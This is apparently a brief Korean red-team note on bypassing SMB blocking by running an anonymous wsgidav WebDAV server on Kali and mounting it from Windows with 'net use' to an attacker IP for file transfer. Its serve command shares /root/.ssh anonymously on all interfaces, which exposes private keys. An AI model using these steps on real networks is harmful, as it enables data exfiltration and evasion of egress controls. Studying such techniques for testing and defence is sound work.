WebDav

실제 기업의 환경들에서는 측면 이동 방지 및 보안을 위해 SMB 프로토콜을 통한 파일 송수신을 차단하는 경우가 존재합니다. 하지만 HTTP/HTTPS의 아웃바운드는 허용하는 경우가 많기 때문에 WebDAV를 통한 업로드 서버를 구축하여 다른 환경에서도 자유롭게 디렉토리 마운트를 통한 파일 송수신을 할 수 있습니다.

# Kali에서 pipx 설치
apt install pipx python3-venv -y
pipx ensurepath
pipx install wsgidav
pipx inject wsgidav cheroot

# WebDAV 실행
wsgidav --host=0.0.0.0 --port=80 --root=/root/.ssh --auth=anonymous

# Windows에서 연결 후 드라이브 마운트
net use Z: http://<IP>:80/ /user:anonymous ""